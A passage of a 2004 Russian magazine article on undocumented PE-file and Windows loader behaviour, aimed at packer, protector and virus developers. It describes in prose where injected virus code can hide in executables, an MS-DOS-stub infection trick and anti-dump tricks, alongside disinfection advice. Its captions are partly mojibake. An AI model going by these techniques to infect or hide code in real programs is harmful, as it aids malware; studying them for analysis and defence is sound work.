КРИС КАСПЕРСКИ После публикации статьи, посвященной UNIX-вирусам, ко мне стали приходить письма с просьбами написать «точно такую же, но только под Windows». Действительно, внедрение постороннего кода в PE-файлы – очень перспективное и нетривиальное занятие, интересное не только вирусописателям, но и создателям навесных протекторов/упаковщиков в том числе. Что же до этической стороны проблемы… политика «воздержания» и удержания передовых технологий под сукном лишь увеличивает масштабы вирусных эпидемий, и когда дело доходит до схватки, никто из прикладных программистов и администраторов к ней оказывается не готов. В стане системных программистов дела обстоят еще хуже. Исходных текстов операционной системы нет, PE-формат документирован кое-как, поведение системного загрузчика вообще не подчиняется никакой логике, а допрос с пристрастием (читай – дизассемблирование) еще не гарантирует, что остальные загрузчики поведут себя точно так же. На сегодняшний день не существует ни одного более или менее корректного упаковщика/протектора под Windows, в полной мере поддерживающего фирменную спецификацию и учитывающего недокументированные особенности поведения системных загрузчиков в операционных системах Windows 9x/NT. Про различные эмуляторы, такие, например, как wine, doswin32, мы лучше промолчим, хотя нас так и подмывает сказать, что файлы, упакованные ASPack в среде doswin32 либо не запускаются вообще, либо рабо-
52
тают крайне нестабильно, а все потому что упаковщик ASPack не соответствует спецификации, закладываясь на те особенности системного загрузчика, преемственности которых никто и никому не обещал. В лучшем случае авторы эмуляторов добавляют в свои продукты обходной код, предназначенный для обработки подобных вещей, в худшем же – оставляют все как есть, мотивируя это словами «повторять чужое пионерство себе дороже…» А восстановление пораженных объектов? Многие файлы после заражения отказывают в работе, и попытка вылечить их антивирусом лишь усугубляет ситуацию. Всякий уважающий себя профессионал должен быть готов вычистить вирус вручную, не имея под рукой ничего, кроме hexредактора! То же самое относится и к снятию упаковщиков/дезактивации навесных протекторов. Эй! Кто там начал бурчать про злобных хакеров и неэтичность взлома? Помилуйте, что за фрейдистские ассоциации?! Ну нельзя же всю жизнь что-то ломать (надо на чем-то и сидеть!). В майском номере «Системного администратора» за 2004 год опубликована замечательная статья Андрея Бешкова, живописно обрисовывающая возню с протекторами под эмулятором wine. Как говорится, тут не до жиру – быть бы живу. Какой смысл платить за регистрацию, если воспользоваться защищенной программой все равно не удастся?! Собственно говоря, всякое вмешательство в структуру готового исполняемого файла – мероприятие достаточно рискованное, и шанс сохранить ему работоспособность на
программирование всех платформах достаточно невелик. Однако, если вы всетаки решили, что это вам необходимо, пожалуйста, отнеситесь к проектированию внедряемого кода со всей серьезностью и следуйте рекомендациям, данным в этой статье. Широта охватываемых тем не позволила рассказать обо всем в одной статье, и ее пришлось разбить на две части – та, которую вы сейчас держите в руках, посвящена описанию малоизвестных особенностей PE-файлов, без знания которых свой упаковщик/протектор ни за что не написать (по крайней мере работоспособный упаковщик/протектор – точно). А конкретные механизмы внедрения чужеродного кода мы рассмотрим в следующий раз.
Особенности структуры PE-файлов в конкретных реализациях Знакомство читателя с PE-форматом не входит в нашу задачу и предполагается, что некоторый опыт работы с ними у него уже имеется. Существует множество описаний PE-формата, но среди них нет ни одного по-настоящему хорошего. Официальная спецификация (Microsoft Portable Executable and Common Object File Format Specification), написанная двусмысленным библейским языком, скорее напоминает сферического коня в вакууме, чем практическое руководство. Даже среди сотрудников Microsoft нет единого мнения по поводу, как именно следует его толковать, и различные системные загрузчики ведут себя сильно неодинаково. Что же касается сторонних разработчиков, то здесь и вовсе царит полная неразбериха. Понимание структуры готового исполняемого файла еще не наделяет вас умением самостоятельно собирать такие файлы вручную. Операционные системы облагают нас весьма жесткими ограничениями, зачастую вообще не упомянутыми в документации и варьирующимися от одной ОС к другой. Не так-то просто создать файл, загружающийся больше чем на одной машине (которой, как правило, является машина его создателя). Один шаг в сторону – и загрузчик открывает огонь без предупреждения, выдавая малоинформативное сообщение в стиле «файл не является win32 приложением», после чего остается только гадать: что же здесь неправильно (кстати говоря, Windows 9x намного более подробно диагностирует ошибку, чем Windows NT, если, конечно, некорректный файл не вгонит ее в крутой завис, а виснет она на удивление часто – загрузчик там писали пионеры не иначе). Технические писатели, затрагивающие тему исполняемых файлов и совершенно не разбирающиеся в предметной области, за которую взялись, за неимением лучших идей прибегают к довольно грязному трюку и подменяют одну тему другой. Отталкиваясь от уже существующих PEфайлов, созданных линкером, они долго и занудно объясняют назначение каждого из полей, демонстративно прогуливаясь по ссылочным структурам от вершины до дна. Сложнее разобраться, почему эти структуры сконструированы именно так, а не иначе. Какой в них заложен запас прочности? Каким именно образом их интерпретирует системный загрузчик? А что на счет предельно допустимых значений? Увы, все эти вопросы остаются без ответа. Чтение статей в стиле «The Portable Executable File Format from
№6(19), июнь 2004
Top to Bottom» от Randy Kath из Microsoft Developer Network Technology Group – это хороший способ запудрить себе мозги и написать мертворожденный PE-дампер, переваривающий только «честные» файлы и падающий на всех остальных (dumpbin ведь падает!). Аналогичным образом поступает и Matt Pietrek, обходящий базовые концепции PEфайла стороной и начинающий процесс описания с середины, но так и не доводящий его до логического конца. Иначе поступает автор статьи «Об упаковщиках в последний раз» (http://www.wasm.ru/print.php?article= packlast01 и http://www.wasm.ru/print.php?article=packers2), сосредоточивший свои усилия на исследовании системного загрузчика W2K/XP и допустивший при этом большое количество фактических ошибок, полный разбор которых потребовал бы отдельной статьи. При всей ценности этой работы она нисколько не проясняет ситуацию и только добавляет вопросов. Автор сетует на то, что работа загрузчика полностью не документирована и даже у Руссиновича обнаруживаются лишь обрывки информации. Ну была бы она документирована – что бы от этого изменилось? Какое нам дело до того, что в W2K/XP загрузка файла сводится к вызову MmCreateSection? Во-первых, в остальных системах это не так, а во-вторых, это сегодня Microsoft стремится весь ввод/ вывод делать через mmap, но когда до горячих американских парней дойдет, что это тормоза, а не ускорение, политика изменится, и MmCreateSection отправятся на заслуженный отдых (в чулан ее, на полку!). Дизассемблировать ядро совсем небесполезно, но вот закладываться на полученные результаты, не проверив их на остальных осях, ни в коем случае нельзя! Верить в спецификации по меньшей мере наивно, ведь всякая спецификация – это только слова, а всякий программный код – лишь частный случай реализации. И то, и другое непостоянно и переменчиво. Чтение книжек (равно как и протирание штанов в учебных заведениях различной степени тяжести) еще никого не сделало программистом. Лишь «опыт, сын ошибок трудных», да общение с коллегами-системщиками, позволят избежать грубых ошибок1. Как говорится, не падает только тот, кто лежит, а кто бежит – падает, наступает на грабли и попадает в логические ямы, глубокие, как колодцы из романа Мураками. Автор, имеющий богатый опыт в работе с PE-файлами и помнящий численные значения смещений всех структур как отче наш, в процессе работы над статьей в такие колодцы попадал неоднократно (да и сейчас там сидит). Всякое значение подобно больному зубу – если его не трогать, он не будет ныть. Отдельные пробелы, неясности и непонятности неизбежны. Когда пишешь рабочие заметки «для себя», просто махаешь рукой и говоришь: да какая разница, что этот большой красный рубильник делает? Работает ведь – и ладно… Статья – дело другое и тут хочешь не хочешь, а будь добр разложить все по полочкам! Автор выражает глубокую признательность удивительному человеку, мудрому программисту и создателю замечательного линкера ulink Юрию Харону (ftp:// ftp.styx.cabel.net/pub/UniLink), терпеливо отвечавшему на мои сумбурные и нечетко сформулированные вопросы. Если бы не его консультации, эта статья ни за что бы не получилось такой, какова она есть!
53
программирование
Общие концепции и требования, предъявляемые к PE-файлам Структурно PE-файл состоит из заголовка (header), страничного имиджа (image page) и необязательного оверлея (overlay). Представление PE-файла в памяти называется его виртуальным образом (virtual image) или просто образом, а на диске – файлом или дисковым образом. Если не оговорено обратное, то под образом всегда понимается виртуальный образ. Образ характеризуется двумя фундаментальными – адресом базовой загрузки (image base) и размером (image size). При наличии перемещаемой информации (relocation/ fixup table) образ может быть загружен по адресу, отличному от image base и назначаемому непосредственно самой операционной системой. Образ делится на страницы (pages), а файл – на секторы (sectors). Виртуальный размер страниц/секторов задается явно в заголовке файла и не обязательно должен совпадать с физическим2. Системный загрузчик требует от образа непрерывности, документация же обходит этот вопрос стороной. На всем протяжении между image base и (image base + size of image) не должно присутствовать ни одной бесхозной страницы, не принадлежащей ни заголовку, ни секциям – такой файл просто не будет загружен. (С этим не совсем согласен Юрий Харон, однако ни одного «прерывистого» файла выловить в живой природе мне не удалось, а попытка создать таковой самостоятельно всякий раз заканчивалась неизменным неуспехом). Бесхозных же секторов в любой части файла может быть сколько угодно. Каждый сектор может отображаться на любое количество страниц (по одной странице за раз), но никакая страница не может отображать на один и тот же регион памяти более одного сектора. Для работы с PE-файлами используются три различные схемы адресации: физические адреса (называемые также сырыми указателями или смещениями raw pointers/ raw offset или просто offset), отсчитываемые от начала файла; виртуальные адреса (virtual address или сокращенное VA), отсчитываемые от начала адресного пространства процесса, и относительные виртуальные адреса (relative virtual address или сокращенно RVA), отсчитываемые от базового адреса загрузки. Все трое измеряются в байтах и хранятся в 32-битных указателях (в PE64 все указатели 64-битные, но где мы, а где PE64?). Параграфы давно вышли из моды, а жаль… Вообще-то существует и четвертый тип адресации – RRA, что расшифровывается как Raw Relative Address (сырые относительные адреса) или Relative Relative Address (относительно относительные адреса). Терминология вновь моя, ибо официального названия у такого способа адресации нет и не предвидится. Иногда его называют offset, что не совсем верно, т.к. offset бывают разные, а RRVA-адреса всегда отсчитываются от стартового адреса своей структуры (в частности, Offset ModuleName задает смещение от начала таблицы диапазонного импорта). Страничный имидж состоит из одной или нескольких секций. С каждой секцией связано четыре атрибута: фи-
54
зический адрес начала секции в файле/размер секции в файле, виртуальный адрес секции в памяти/размер секции в памяти и атрибут характеристик секции, описывающий права доступа, особенности ее обработки системным загрузчиком и т. д. Грубо говоря, секция вправе сама решать, откуда и куда ей грузиться, однако эта свобода весьма условна и на ассортимент выбираемых значений наложено множество ограничений. Начало каждой секции в памяти/диске всегда совпадает с началом виртуальных страниц/секторов соответственно. Попытка создать секцию, начинающуюся с середины, жестоко пресекается системным загрузчиком, отказывающимся обрабатывать такой файл. С концом складывается более демократичная ситуация и загрузчик не требует, чтобы виртуальный (и частично физический) размер секций был кратен размеру страницы. Вместо этого он самостоятельно выравнивает секции, забивая их хвост нулями, так что никакая страница (сектор) не может принадлежать двум и более секциям сразу. Фактически это сплошное надувательство – не выровненный (в заголовке!) размер автоматически выравнивается в страничном имидже, поэтому представленные нам полномочия на проверку оказываются сплошной фикцией. Все секции совершенно равноправны, и тип каждой из них тесно связан с ее атрибутами, интерпретируемыми довольно неоднозначным и противоречивым образом (см. «Таблица секций»). Реально (читай – на сегодняшний день) мы имеем два аппаратных и два программных атрибута: Accessible/Writeable и Shared/Loadable (последний – условно) соответственно. Вот отсюда и следует плясать! Все остальное – из области абстрактных концепций. «Секция кода», «секция данных», «секция импорта» – не более чем образные выражения, своеобразный рудимент старины, оставшийся в наследство от сегментной модели памяти, когда код, данные и стек действительно находились в различных сегментах, а не были сведены в один, как это происходит сейчас. Служебные структуры данных (таблицы экспорта, импорта, перемещаемых элементов) могут быть расположены в любой секции с подходящими атрибутами доступа. Когда-то правила хорошего тона диктовали помещать каждую таблицу в свою персональную секцию, но теперь эта методика признана устаревшей. Теперь на смену ей пришла анархия и старый добрый квадратно-гнездовой способ, когда содержимое служебных таблиц размазывается тонким слоем по всему страничному имиджу, что существенно утяжеляет алгоритм внедрения в исполняемый файл, но это уже тема другого разговора. Впрочем, как справедливо замечает Юрий Харон, дело тут совсем не в анархии, а в оптимизации по размеру/скорости загрузки. Оверлей, в своем каноническом определении сводящийся к «хвостовой» части файла, не загружаемой в память, в PE-файлах может быть расположен в любом месте дискового образа, в том числе и посередине. Действительно, если между двумя смежными секциями расположено несколько бесхозных секторов, не приватизированных никакой секцией, такие сектора останутся без представления в памяти и имеют все основания считать себя
программирование оверлеями. Собственно говоря, оверлеями их можно называть только в переносном смысле. Спецификация на PE-файлы этого термина в упор не признает и никаких, даже самых примитивных, механизмов поддержки с оверлеями win32 API не обеспечивает (не считая, конечно, примитивного ввода/вывода). За сим все! Теперь, после составления контурной карты PE-файлов, можно смело приступать к ее детализации, не рискуя заблудиться в непроходимых терминологических и технических джунглях. Внимание! Эту статью нельзя читать как приключенческий роман или детектив. Разумеется, я приложил все усилия и как мог структурировал материал, стремясь писать максимально доходчивым языком, хотя бы и ценой второстепенных деталей. Тем не менее для оперативного переваривания информации вам придется обложиться стопками распечаток и, вооружившись hex-редактором, сопровождать чтение статьи перемещением курсора по файлу, чтобы самостоятельно «потрогать руками» все описываемые здесь структуры… Да осилит дорогу идущий! Когда вы доберетесь до конца, вы поймете, почему не работают некоторые файлы, упакованные ASPack/ASPrpotect, и как это исправить, не говоря уже о том, что сможете создавать абсолютно легальные файлы, которые ни один дизассемблер не дизассемблирует в принципе!
Структура PE-файла PE File Format MS-DOS MZ Header MS-DOS Real-Mode Stub Program PE File Signature PE File Header PE File Optional Header .text Section Header .bss Section Header .rdata Section Header . . . .debug Section Header .text Section .bss Section .rdata Section . . . .debug Section
Ðèñóíîê 1. Ñõåìàòè÷åñêîå èçîáðàæåíèå PE-ôàéëà
№6(19), июнь 2004
Все PE-файлы без исключения (и системные драйверы в том числе!) начинаются с old-exe заголовка, за концом которого следует dos-заглушка (ms-dos real-mode stub program или просто stub), обычно выводящая разочаровывающее ругательство на терминал, хотя в некоторых случаях в нее инкапсулирована MS-DOS версия программы, но это уже экзотика. Мэтт Питтерек в «Секретах системного программирования под Windows 95» пишет: «после того как загрузчик win32 отобразит в память PE-файл, первый байт отображения файла соответствует первому байту заглушки DOS». Это неверно! Первый байт отображения соответствует первому байту самого файла, т.е. отображение всегда начинается с сигнатуры «MZ», в чем легко можно убедиться, загрузив файл в отладчик и просмотрев его дамп. PE-заголовок, в подавляющем большинстве случаев начинающийся непосредственно за концом old-exe программы, на самом деле может быть расположен в любом месте файла – хоть в середине, хоть в конце, т.к. загрузчик определяет его положение по двойному слову e_lfanew, смещенному на 3Ch байт от начала файла. PE-заголовок представляет собой 18h-байтовую структуру данных, описывающую фундаментальные характеристики файла и содержащую «PE\x0\x0»-сигнатуру, по которой файл, собственно говоря, и отождествляется. Непосредственно за концом PE-заголовка следует опциональный заголовок, специфицирующий структуру страничного имиджа более детально (базовый адрес загрузки, размер образа, степень выравнивания – все это и многое другое задается именно в нем). Название «опциональный» выбрано не очень удачно и слабо коррелирует с окружающей действительностью, ибо без опционального заголовка файл попросту не загрузится, так какой же он «опциональный», если обязательный? (Впрочем, когда PEформат только создавался, все было по-другому, а сейчас мы вынуждены тащить это наследие старины за собой.) Важной структурой опционального заголовка является DATA_DIRECTORY, представляющая собой массив указателей на подчиненные структуры данных, как то: таблицы экспорта и импорта, отладочную информацию, таблицу перемещаемых элементов и т. д. Типичный размер опционального заголовка составляет E0h байт, но может варьироваться в ту или иную сторону, что определяется полнотой занятости DATA_DIRECTORY, а также количеством мусора за ее концом (если таковой вдруг там есть, хотя его настоятельно рекомендуется избегать). Может показаться забавным, но размер опционального заголовка хранится в PE-заголовке, так что эти две структуры очень тесно связаны. За концом опционального заголовка следует суверенная территория, оккупированная таблицей секций. Политическая принадлежность ее весьма условна. Ни к одному из заголовков она не принадлежит и, судя по всему, является самостоятельным заголовком безымянного типа (подробнее см. «SizeOfHeaders» и «Таблица секций»). Редкое внедрение в исполняемый файл обходится без правки таблицы секций, поэтому эта структура для нас ключевая. За концом таблицы секций раскинулось топкое болото ничейной области, не принадлежащей ни заголовкам, ни
55
программирование секциям, образовавшееся в результате выравнивания физических адресов секций по кратным адресам. В зависимости от ряда обстоятельств, подробно разбираемых по ходу изложения материала, заболоченная память может как отображаться на адресное пространство процесса, так и не отображаться на него. Обращаться с ней следует крайне осторожно, т.к. здесь может быть расположен чей-то оверлей, исполняемый код или структура данных (таблица диапазонного импорта, например). Начиная с raw offset первой секции, указанного в таблице секций, простирается страничный имидж, точнее, его упакованный дисковый образ. «Упакованный» в том смысле, что физические размеры секций (с учетом выравнивания) включают в себя лишь инициализированные данные и не содержат ничего лишнего (ну хорошо, «не должны содержать ничего лишнего…»). Виртуальный размер секций может существенно превосходить физический, что с секциями данных случается сплошь и рядом. В памяти секции всегда упорядочены, чего нельзя сказать о дисковом образе. Помимо дыр, оставшихся от выравнивания, между секциями могут располагаться оверлеи, к тому же порядок следования секций в памяти и на диске совпадает далеко не всегда… Одни секции имеют постоянное представительство в памяти, другие – нанимаются лишь на период загрузки, по завершении которой в любой момент могут быть безоговорочно выдворены оттуда (не сброшены в своп, а именно выдворены, то есть депортированы!). Что же до третьих – они вообще никогда не загружаются в память, ну разве что по частям. В частности, секция с отладочной информацией ведет себя именно так. Впрочем, отладочная информация не обязательно должна оформляться в виде отдельной секции, и чаще она подцепляется к файлу в виде оверлея. За концом последней секции обычно бывает расположено некоторое количество мусорных байт, оставляемых линкером по небрежности. Это не оверлей (к нему никогда не происходит обращений), хотя и нечто очень на него похожее. Разумеется, оверлеев может быть и несколько – системный загрузчик не налагает на это никаких ограничений, однако и не предоставляет никаких унифицированных механизмов работы с оверлеями – программа, создавшая свой оверлей, вынуждена работать с ним самостоятельно, задействовав API ввода/вывода (впрочем, «вывод» не работает в принципе, т.к. загруженный файл доступен только на чтение, запись в него наглухо заблокирована). Короче говоря, физическое представление исполняемого файла представляет собой настоящее лоскутное одеяло, напоминающее политическую карту мира в стиле «раскрась сам». Переварить эту кухню очень непросто, поскольку закладываться ни на что нельзя и следует ожидать любых неожиданностей…
Что можно и что нельзя делать с PE-файлом Строго говоря, чужой исполняемый файл лучше не трогать, поскольку заранее неизвестно, к чему именно он привязывается и какие структуры данных контролирует. С другой
56
стороны, поведение подавляющего большинства файлов вполне предсказуемо и внедряться в них-таки можно. Дисковый файл и его виртуальный образ – это, как говорят в Одессе, две большие разницы. С момента окончания загрузки стандартный PE-файл работает исключительно со своим виртуальным образом и не обращается непосредственно к самому файлу (исключение составляют оверлеи и секции отладочной информации, но это уже тема другого разговора). Нет, не так! Обращение к немодифицированным страницам файла все-таки происходит (при условии, что он загружен с винчестера, а не с дискеты или сетевого диска), Windows не настолько глупа, чтобы вытеснять в своп то, что в любой момент можно подкачать с диска. Впрочем, этот механизм настолько прозрачен, что учитывать его совершенно необязательно. Внедряемый код может как угодно перекраивать дисковый файл, но виртуальный образ менять не должен. Точнее, после передачи управления на оригинальную точку входа виртуальный образ должен быть приведен в исходный вид. При этом допускается: ! увеличивать размер страничного имиджа, записываясь в его конец; ! оккупировать незанятые области (например, те, что используются для выравнивания); ! выделять память на стеке/куче, перемещая туда свое тело. Поскольку секции располагаются в файле по выровненным адресам, между ними практически всегда остается свободное пространство, уверенно вмещающее в себя крохотный загрузчик, подкачивающий «хвост» вируса из оверлея. Как вариант (если нет другого оверлея), можно увеличить размер последней секции и записаться в ее конец. Более радикально настроенный код может сбросить часть чужой секции в оверлей, усевшись на освободившееся место, а затем, непосредственно перед передачей управления, восстановить ее обратно. Внешний антураж выглядит просто замечательно, но задумайтесь, что произойдет, если: ! сбрасываемый фрагмент секции будет содержать одну или несколько служебных таблиц, например таблицу импорта; ! сбрасываемый фрагмент секции будет содержать один или несколько перемещаемых элементов. Таким образом, перед тем как сбрасывать что бы то ни было в оверлей, внедряемый код должен проанализировать все служебные структуры, прописанные в DATA DIRECTORY, чтобы ненароком не сбросить ничего лишнего. Затем необходимо проанализировать таблицу перемещаемых элементов (если она есть) и либо выбрать участок, свободный от перемещений, либо удалить соответствующие элементы из таблицы с тем, чтобы впоследствии обработать их самостоятельно. До ресурсов дотрагиваться ни в коем случае нельзя, иначе проводник иконки не найдет! Но хватит говорить о плохом. Давайте лучше о хорошем. Все секции стандартного PE-файла, за исключением секции с отладочной информацией, используют только RVA/ RRA- и VA-адресацию, а это значит, что мы можем свобод-
программирование но перемещать секции внутри дискового образа: менять их местами, внедрять между ними оверлеи – и все это никак не скажется на работоспособности файла, поскольку страничный имидж во всех случаях будет один и тот же! Это не покажется удивительным, если вспомнить, что виртуальный и физический адреса каждой секции хранятся в различных, никак не связанных друг с другом полях, поэтому внедрение кода в середину файла еще не обозначает его внедрения в середину страничного имиджа. Внедряться в конец файла – слишком просто, неинтересно и небезопасно. Внедряться в начало кодовой секции со сбросом оригинального содержимого последнего в оверлей – слишком сложно. А что, если… попробовать внедриться перед началом кодовой секции, передвинув ее начало в область младших адресов? Виртуальный образ окажется при этом практически нетронутым и останется лежать по тем же самым адресам, которые занимал до вторжения, что сохранит файлу работоспособность, попутно лишая разработчика внедряемого кода контакта с перемещаемыми элементами и прочими служебными структурами данных. Все это так, за исключением одного досадного «но». Первая секция подавляющего большинства файлов уже начинается по наименьшему из всех доступных адресов, и передвигать ее просто некуда. Правда, под NT можно отключить выравнивание и делать с секциями все что угодно, но тогда файл не сможет работать под 9x (подробнее см. «FileAlignment/SectionAlignment»). То же самое относится и к уменьшению базового адреса загрузки, компенсируемого увеличением стартовых адресов всех секций, в результате чего положение страничного имиджа не изменяется, а мы выигрываем место для внедрения своего собственного кода. Увы! Служебные структуры PE-файлов активно используют RVA-адресацию, отсчитываемую от базового адреса загрузки, поэтому просто взять и передвинуть базовый адрес не получится – необходимо как минимум проанализировать таблицы экспорта/импорта, таблицу ресурсов и скорректировать все RVA-адреса, а как максимум… типичный базовый адрес загрузки для исполняемых файлов – 400000h выбран далеко не случайно. Это минимальный базовый адрес загрузки в Windows 9x, и если он будет меньше этого числа, системный загрузчик попытается переместить файл, потребовав таблицу перемещаемых элементов, а у исполняемых файлов она с некоторого времени по умолчанию отсутствует (ну разве что линкер при компоновке специально попросите). С динамическими библиотеками ситуация не так плачевна (их базовый адрес загрузки выбирается с запасом, да и таблица перемещаемых элементов, как правило, есть), однако сложность реализации внедряемого кода просто чудовищна, к тому же нестандартный адрес загрузки сразу бросается в глаза. Так что ценность этого приема очень сомнительна… Тем не менее раздвигать страничный имидж все-таки можно! Секция кода практически никогда не обращается к секции данных по относительным адресам, а все абсолютные адреса в обязательном порядке должны быть перечислены в таблице перемещаемых элементов (конечно, при условии, что она вообще есть). Остаются лишь RVA/VAадреса служебных структур данных, однако их реально скорректировать и вручную. Расширение страничного имид-
№6(19), июнь 2004
жа с внедрением в конец кодовой секции без сброса ее в оверлей – занятие не для слабонервных, однако игра стоит свеч, поскольку такой код идеально вписывается в архитектуру существующего файла и не привлекает к себе никакого внимания. Грубо говоря, это единственный способ вторжения, который нельзя распознать визуально (подробнее см. статью «Борьба с вирусами» в октябрьском номере журнала «Системного администратора» за 2003 год).
Описание основных полей PE-файла Как уже говорилось, полностью описывать PE-файл мы не собираемся и предполагаем, что читатели: ! регулярно штудируют фирменную спецификацию перед сном; ! давным-давно распечатали файл WINNT.h из SDK и обклеили им стены своей хакерской берлоги на манер обоев. Все нижеприведенные структуры взяты именно оттуда (внимание – зачастую они именуются совсем не так, как в спецификации, что вносит в ряды разработчиков жуткую путаницу и сумятицу). Здесь описываются не все, а лишь самые интересные и наименее известные поля, свойства и особенности поведения PE-файлов. За остальными – обращайтесь к документации.
[old-exe] e_magic Содержит сигнатуру «MZ», доставшуюся в наследство от Марка Збиновски – ведущего разработчика MS-DOS и генерального архитектора EXE-формата. Если e_magic равен «MZ», загрузчик приступает к поиску «PE»-сигнатуры, в противном случае его поведение становится неопределенным. NT и 9x поддерживают недокументированную сигнатуру «ZM», передающую управление на MS-DOS заглушку и обычно выводящую на экран «This program cannot be run in DOS mode», что в данном случае не соответствует действительности, поскольку программа запускается из Windows! Один из приемов заражения PE-файлов сводится к внедрению в MS-DOS заглушки, динамически восстанавливающую сигнатуру «MZ» и делающую себе exec для передачи управления программе-носителю. Для восстановления пораженных объектов просто замените «ZM» на «MZ» и при запуске файла из Windows (включая MS-DOS сессию) вирус больше никогда не получит управления. Возможно использовать сигнатуру «NE», передающую управление на заглушку и устанавливающую значения сегментных регистров как в com, а не exe (DS == CS). Ни HIEW, ни IDA с таким файлом работать не могут и сразу же после его загрузки вылетают в астрал.
[old-exe] e_cparhdr Размер old-exe заголовка в параграфах (1 параграф равен 200h байтам). В настоящее время никем не проверяется (ну разве что дампером каким), однако закладываться на это не стоит. Минимальный размер заголовка состав-
57
программирование ляет 1 параграф, а максимальный ограничен размером самой MS-DOS заглушки, т.е. если он будет больше поля e_lfanew, файл может и не загрузиться.
[old-exe] e_lfanew Смещение PE-заголовка в байтах от начала файла. Должно указывать на первый байт PE-сигнатуры «PE\x0\x0», выровненной по границе двойного слова, причем если сумма image base и e_lfanew вылетает за пределы отведенного загрузчиком адресного пространства, такой файл не грузится. В памяти PE-заголовок (вместе со всеми остальными заголовками) всегда располагается перед первой секцией, вплотную прижимаясь к ее передней границе («вплотную» – значит, что расстояние между виртуальным адресом первой секции и концом заголовка должно быть меньше, чем Section Alignment). На диске PE-заголовок может быть расположен в любом месте файла, например, в его середине или конце (т.е. между началом файла и первым байтом PE-заголовка могут обосноваться одна или несколько секций). Не знаю, сойдет ли какой загрузчик от этого с ума, но в Windows 9x/NT все работает. При этом SizeOf Header должно быть равно действительному размеру PE-заголовка плюс e_lfanew; SectionAlignment >= SizeOfHeaders и FirstSection.RVA >= SizeOfHeaders.
[IMAGE_FILE_HEADER] Machine Тип центрального процессора, под который скомпилирован файл. Если здесь будет что-то отличное от 14Ch, на I386-машинах файл просто не загрузится.
[IMAGE_FILE_HEADER] NumberOfSections Количество секций. Файл, не содержащий ни одной секции, завешивает Windows 9x и корректно прерывает свою загрузку под Windows NT. Максимальное количество секций определяется особенностями реализации конкретного лоадера. Так, NT переваривает «всего» 60h секций. Другие загрузчики могут иметь и более жесткие ограничения. В общем, количество секций должно быть сведено к минимуму. Если заявленное количество секций меньше числа записей в Section Table, то остальные секции просто не грузятся, но в целом такой файл обрабатывается вполне нормально. Настоящее веселье начинается, когда Numbers OfSection превышает количество реально существующих секций, вылетая за конец Section Table. Если здесь окажутся нули (как чаще всего и бывает), Windows 9x отреагирует вполне нормально, чего нельзя сказать о Windows NT, наотрез отказывающейся загружать такой файл. Файл с количеством секций, равным нулю, мертво завешивает Windows 9x, в то время как Windows NT обрабатывает такую ситуацию вполне нормально, выдавая неизменное «файл не является приложением win32». Попутно заметим, что многие упаковщики исполняемых файлов по окончании процесса распаковки искажают это поле в памяти либо увеличивая, либо уменьшая его значение, в результате чего дамперы не могут корректно сбросить такой образ на диск. В pe-tools/lord-pe используется довольно ненадежный алгоритм, сканирующий Section Table и
58
отталкивающийся от того, что если PointerToRelocations, PointerToLinenumbers, NumberOfRelocations и NumberOf Linenumbers равны нулю, а Characteristics – нет, значит, это секция. Эту святую простоту ничего не стоит обмануть! На самом деле, проверку следует ужесточить: если очередная запись в Section Table выглядит как секция (т.е. все поля валидны) – это секция и соответственно наоборот. Под валидностью здесь понимается, что адрес начала секции выровнен в памяти и лежит непосредственно за концом предыдущей секции, а размер секции не вылетает за пределы страничного имиджа. Ниже приведен простой макрос, считывающий содержимое поля NumberOfSection по указателю на первый байт PE-заголовка. Ëèñòèíã 1. Ñ÷èòûâàòåëü ñîäåðæèìîãî NumberOfSection // p – óêàçàòåëü íà PE-çàãîëîâîê #define xNumOfSec(p) (*((WORD*) (p+0x6)))
[image_file_header] PointerToSymbolTable/ NumberOfSymbols Указатель на размер отладочной информации в объективных файлах. В настоящее время не используется (да и раньше он не использовался тоже). Линкеры топчут оба поля в ноль, отладчики, дизассемблеры и системный загрузчик игнорируют его. Для предотвращения сброса дампа программы на диск запишите сюда нечто отличное от нуля и подтяните (в памяти) поле NumberOfSection от реального значения до безобразия. Текущие версии pe-tools сдохнут от зависти, но если NEOx сподобится встроить нормальный валидатор, этот трюк перестанет работать.
[image_file_header] SizeOfOptionalHeader Размер опционального заголовка, идущего следом за IMAGE_FILE_HEADER. Должен указывать на первый байт Section Table (т.е. e_lfanew + 18h + SizeOfOptionalHeader = &Section Table), где 18h – sizeof(IMAGE_FILE_HEADER). Если это не так, файл не загружается. И хотя некоторые загрузчики вычисляют указатель на Section Table, отталкиваясь от NumberOfRvaAndSizes, закладываться на это не стоит, т.к. системные загрузчики этого мнения не разделяют. Ëèñòèíã 2. Ìàêðîñû, âîçâðàùàþùèå ðàçìåð îïöèîíàëüíîãî çàãîëîâêà, óêàçàòåëü íà òàáëèöó ñåêöèé, âû÷èñëåííûé ñòàíäàðòíûì è àëüòåðíàòèâíûì ìåòîäàìè.  êà÷åñòâå âõîäíîãî àðãóìåíòà âñå òðîå ïðèíèìàþò óêàçàòåëü íà ïåðâûé áàéò PE-çàãîëîâêà ↵ #define xopt_sz(p) (*((WORD*)(p + 0x14 /* size of optional header */))) ↵ #define pSectionTable(p) ((BYTE*)(xopt_sz(p)+0x18 /* size of image heafer */+p)) ↵ #define pSectionTable_alt(p) ((BYTE*)((*((DWORD*)(p+0x74)))*8 + 0x78 + p))
[image_file_header] Characteristics Атрибуты файла. Если (Characteristics & IMAGE_FILE_ EXECUTABLE_IMAGE) == 0, файл не грузится, т.е. первый, считая от нуля, бит характеристик обязательно должен быть установлен. У динамических библиотек должно быть установлено как минимум два атрибута: IMAGE_
программирование FILE_EXECUTABLE_IMAGE/0002h и IMAGE_FILE_DLL/2000h, то же самое относится и к исполняемым файлам, экспортирующим одну или более функций. Если атрибут IMAGE_FILE_DLL установлен, но экспорта нет, исполняемый файл запускаться не будет. Остальные атрибуты не столь фатальны и под Windows NT/9x безболезненно переносят любые значения, хотя по идее делать этого не должны. Взять хотя бы IMAGE_FILE_BYTES_REVERSED_LO и IMAGE_FILE_BYTES_ REVERSED_HI, описывающие порядок следования байт в слове. Можно глупый вопрос? Какому абстрактному состоянию процессора соответствует одновременная установка обоих атрибутов? И какие действия должен предпринять загрузчик, если установленный порядок следования байт будет отличаться от поддерживаемого процессором? Операционные системы от Microsoft, просто игнорируют эти атрибуты за ненадобностью. То же самое относится и к атрибуту IMAGE_FILE_32BIT_MACHINE/0100h, которым по умолчанию награждаются все 32-разрядные файлы (16-разрядный PE – это сильно). Впрочем, без крайней нужды лучше не экспериментировать и заполнять все поля правильно. Весьма интересен флаг IMAGE_FILE_DEBUG_STRIPPED/ 0200h, указывающий на отсутствие отладочной информации и запрещающий отладчикам работать с ней даже тогда, когда она есть. Отладочная информация привязана к абсолютным 